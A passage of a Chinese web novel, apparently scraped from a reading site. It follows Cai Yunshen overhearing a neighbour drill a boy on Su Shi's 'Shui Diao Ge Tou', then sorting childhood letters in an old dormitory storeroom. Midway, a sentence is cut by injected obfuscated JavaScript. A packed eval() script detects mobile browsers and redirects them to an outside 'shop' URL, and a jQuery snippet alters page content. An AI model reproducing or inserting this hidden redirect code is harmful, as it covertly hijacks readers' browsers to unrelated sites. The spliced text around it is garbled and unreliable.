听了一阵，隔壁两个人根本没谈她的事，而是一个背课文、一个检查——
背的是苏东坡那篇名冠天下的《水调歌头》。
丁聪聪的“差不多”，还真是差不多：
整首他都基本能记下，就是始终背不出那句“不应有恨，何事长向别时圆”。每次一卡住，就被阿旺要求重来，一次，两次……
蔡云深离开墙面，躺下来。
第七次。
丁聪聪背出了哭腔。
“哭哭哭，就知道哭！”阿旺终于对得起他凶巴巴的形象，厉声厉气。
“我没哭！”小男孩反驳。
“嗯，你没哭，你现在眼睛里流下来的是汗？”
对小朋友阴阳怪气完，阿旺搬出蔡云深当孩子时从家长那听到耳朵起茧的话——
“哭能帮你背课文？”
看看，当年为了变形金刚就跑去厕所哭不是谁，现在竟开始教训别人？
真是，屠龙者终成恶龙。
相比之下，如今的小朋友就比小时候只会乖乖听训的他们厉害许多：
“不能！”只听丁聪聪哭着还嘴，“所以你就直接给我签字让我过嘛！就那么一句不会，我到开学肯定能背！”
“我不签！”阿旺拒绝，“你也别找我了，去找你妈背！更要骂你！”
“……”
“这一句究竟有什么难的？”阿旺问出蔡云深的心声，“整首都背下来了，就差这么一点，万里长征最后一步，你放弃？”
丁聪聪无言，阿旺继续：“再来一次，《水调歌头》！”
“……”
“快点！”
小男孩委屈至极：“水调歌头，但愿人长久，宋，苏轼。明月几时有，把酒问青天，……”
感情深沉，声线悲恸。
这恐怕是她听过的最惆怅的《水调歌头》了。
很快就又到了卡点。果然又停住。
但这一次有进步，起码是硬凑出了一个句子，就是跟原文有点不一致——
“不应有恨，……何事……月亮……长又圆？”
蔡云深捂嘴，生怕自己的笑声传过去。
“我拜托你啊小祖宗，”墙那边的阿旺果然道心破碎，声声泣血，“你告诉我，月亮要怎么才有能‘长又圆’，啊？都跟你说了，这句话的意思是为什么月亮、总在、离别时变圆！何事、长向、别时圆！”
“它圆不圆关我什么事啊？”丁聪聪也破防，“我不背了！不背了！！！”
“背！背不下来你今晚别想睡觉！”
……
翌日清晨，蔡云深在一阵奇怪的乐声中醒来。
再一听，伴随音乐的还有浑厚的男声，说什么，
“健身气功，八段锦。……”
她怎么又在做这么荒诞的梦？
“会不会吵到我女儿？”然后就听到熟悉的声音，分明是许江，“这房子隔音不好。”
“不会，小花园离她房间这么远，”这是阿旺，“而且刚才我经过，隔着门都听到她打鼾。睡得像死猪。”
说谁像死猪呢！
男人就像听到她心声：“我说你，眼睛睁开！背打直！”
蔡云深睁眼，才发现阿旺是跟另一位受害者对话：
“丁聪聪，是你非要跟我们早起练功的！人都起来了，就好好做！”
老中小三个型号的男人在口令中继续晨练，蔡云深无语地拿过手机——
妈呀，才六点半。
怨念滔天，又听许江问：“那边停的那辆白车，看到没？”
“看到啊，”阿旺答，“就是被陨石砸了那个嘛。”
“什么陨石，”许江说他，“那是妹妹的车！她打瞌睡被人撞了都不知道，开回家才发现！”
“不是吧？”
许江一声长叹，随后把昨晚临睡前从女儿那听到的说明转述给阿旺，告诉他蔡云深做了多么凶险一个手术——
“这死女娃，眼睛都伤成那样了，还敢一个人开车！我单是想都后怕……”愤慨完，许江叮嘱阿旺，“所以我暂时不许她开车了，你帮我盯着点她。”
“行……不过许叔叔，你女儿……”欲言又止。
蔡云深瞬间清醒，心提到嗓子眼：
这大嘴巴，该不会打算在这毁约，跟许江说她被人劈腿的事儿吧？
许江也奇怪阿旺想说什么，忙问：“我女儿怎么了？”
“……你女儿，还真是很倒霉。”最后男人只说。
蔡云深舒一口气。但随即她就不服，心想我再倒霉，也轮不到你这个买彩票万年不中、平地摔、还被狗咬的人来盖章。
然而自家老爸却接腔：“可不是吗。”
胳膊肘往外拐。
睡意全枯萎，干脆也起床。第一件事：
做卷腹。
例行锻炼结束，蔡云深换下睡衣、开窗帘。竟被她撞见绝景：
窗外，一轮旭日正在升起。
风景正好，可惜眼前有栋拆了一半的厂房，硬生生挡掉她大半视野。
感觉自己就要消融在万丈霞光中，脑海又响起杂音，那是本能在念叨——
“能看见日出的地方，就能看见月亮。因为太阳和月亮从同一个方向升起。”
谁不知道啊。
“总有你不知道的事。”
比如呢？
“等厂房拆完，你就能看到。”
——最后，本能这么告诉她。
*
中午，蔡云深跟午休的许江去杂物间。
杂物间在仪表厂老宿舍区。许江把从城里搬来的部分行李存在这儿，其中有好一部分属于蔡云深。她又用一个上午整理出不太需要的东西，顺手拿过来放。
从远处看，老宿舍这边灰扑扑的。跟“白宫”相对应，厂里的人叫它们——
灰楼。
灰楼有两栋，每栋五层，全是单间。一条不透光的走廊拉通，两边是相对的门。
明明还在白昼，走进去却一片漆黑。黑暗里，蔡云深仿佛听到有什么在沙沙作响，就算下一步撞到幽灵，她也不会奇怪。
“厕所和厨房是公用的，以前职工宿舍都这样。你小时候我们也住这种。记得吗？”许江问。
蔡云深摇头：“不记得。”
不仅不记得，她甚至想象不出当年他们怎么在这里生活：
“厕所是公用的，如果住的房间离它很远怎么办？”蔡云深问，“现在是夏天，还好，要是到了冬天，三更半夜的想尿尿，还要受冻走那么远上厕所？”
许江闻言笑一声，告诉她：“妹妹啊，那个年代，我们每家都备着痰盂。”
在时代变化的冲击中，蔡云深转进楼道。终于有光从网格砖透进来。
楼梯和旁侧的墙都被照亮，蔡云深一边走，一边看上面幼稚的涂鸦——
什么“龙见到此一游”，张牙舞爪，字可真丑；
什么“太阳（爱心）我，月亮（爱心）我”，人小鬼大，懂个屁的爱；
什么“于岳望是大ben旦。”。
噗。这叫“于岳望”的人也太惨了。但凡有谁从这上楼，都会知道他是笨蛋吧？
而且“笨蛋”两个字，一个没写对。
正好笑，两个小女孩就嬉笑着跑着上楼，撞过蔡云深也不停下，追追打打往二楼跑。
顺着她们的背影看去，蔡云深看见楼道口第二户人家。一扇老旧掉色的木门，总觉得看着很熟悉。
她还觉得，上面应该贴一个福字——或者说，曾经贴过。
“爸，我们以前是不是住2楼？”不禁开口问许江。
是或不是，答案多简单。身旁的许江却硬是一个字也答不出，只是也盯着木门。
“我就知道，”看他那样，蔡云深以为自己猜得没错，“这扇门这个楼道，看着很眼熟！”
许江仍不接话，只埋头上楼。好久了回望，发现蔡云深仍在原地，催她——
“快上来！”
*
阿旺的杂物间在四楼。门开后黢黑一片。许江按亮灯，蔡云深才发现这里是有窗的，只是被报纸贴死，光进不来。空
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059640|195002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气中有股陈旧气味，好像进入洞穴。
整个房间还没她现在住的书房大，放了一张写字台，一张上下铺铁架床。全都用来放东西，满满当当塞着各种储物箱、编织袋。
东西多，但不开窗落灰少，比想象中整洁。角落里还停着小朋友骑过的儿童车，用旧的鸿运扇，高压锅，旧电脑，照相机……
非常普通的单间，却总有什么令蔡云深觉得毛骨悚然。
偏偏这时，许江要去上班了，把门钥匙下剩她一个。
一阵战栗后，蔡云深开始独自整理：
青春期穿的旧衣衫，搬家时明明跟许江说不要了，他还是带过来；
想留下的杂物更是一个不漏：旧书旧报旧音乐，各式奖状、纪念物、周记本……
连学生时代传过的小纸条和写过的信也还在——
她上学那时，手机远没现在万能，而且学校禁用。要通讯，全靠手写。
蔡云深充满怀念地看：
上课得多不认真，才能在纸上跟同学玩“太平天国”，下五子棋，甚至交替写故事，一人用红笔一人用蓝笔……
再就是传纸条。
随手拿起一张，封面两个大字，“明天”，打开后发现里面写：
“明天请你吃冰，现在请你原谅。”
要别人原谅什么，不记得了。但那款柠檬冰的样子还记得。不知道现在还有没有的卖？
还有信。有别人寄给她的，也有她写了没寄出去的。写给初中时最好的朋友，一个愿意接近她、跟她建立起友谊的女生。可惜后来进了不同学校。
进高中后，蔡云深又变得形单影只，没事就给对方写信：
“最近在音乐盒里，我发现了一个祈愿符。小学时流行的，打开一看，发现里面写着我当时的愿望：能隐形。好笑吧？原来从那时起，我就希望自己变成透明色。在一片安静中，不发出任何声音，活到28岁，然后死掉。……”
……
蔡云深倒吸一口冷气。
对必须看这种无病呻吟、还要给她回信的朋友，她心生敬意。
然后是初中，那年代语文作业要求写周记。翻开来一看标题：
《我的前世》。
什么玩意儿！
扔开看别的，越往下翻，时间越早。
时间来到小学，刚过千禧年。一张照片掉出来，是个不认识的小男孩，笑得一脸阳光。
再看信封，更不明白：
这谁啊，为什么给她写信？
一读内容，才记起那年代还有过笔友这回事。通过杂志交友栏看到对方信息，便写了信去。
人家居然回复她了，跨越整个中国寄信来。
正文就几句，混着拼音，一眼扫到结尾——
“蔡云深，你有一个很美的名字。不知道你是gg还是mm？附上我的照片，期待回信。”
蔡云深羞耻地合上黑历史。
想起来了，人生第一次“见光死”。更确切地说是还没见光她先死：
与其把自己的丑照寄过去，还不如直接消失。
从信纸到网络，从电脑到手机app，这种没有下文、未曾晤面的因缘际会蔡云深还有过不少。又像是某种替代：
或许是因为长相吧，学生时代，她几乎没交到什么朋友。
曾经在女厕所偶然听到班里的女孩子这么议论，说她像外星人，又像空心木偶。猜她是不是经历过什么折磨，才总是一副生机缺缺的样子。
当时蔡云深躲在隔间，心无波澜地听，不觉得自己讨厌，也不觉得别人讨厌。
但她忍不住想，什么程度才算“折磨”？
开心的，痛心的，好像都像河水那般流走。她是河岸上空望的人，没有起伏、故事和过往。
跟现实不同，虚拟世界的交往不需要见面：
在这里，只需要登进去、查记录、输文字，就能维持社交。
因此，在远离现实的地方，她反而获得过友谊。
其中，认识最久、印象最深的一段邂逅，发生在“静听”。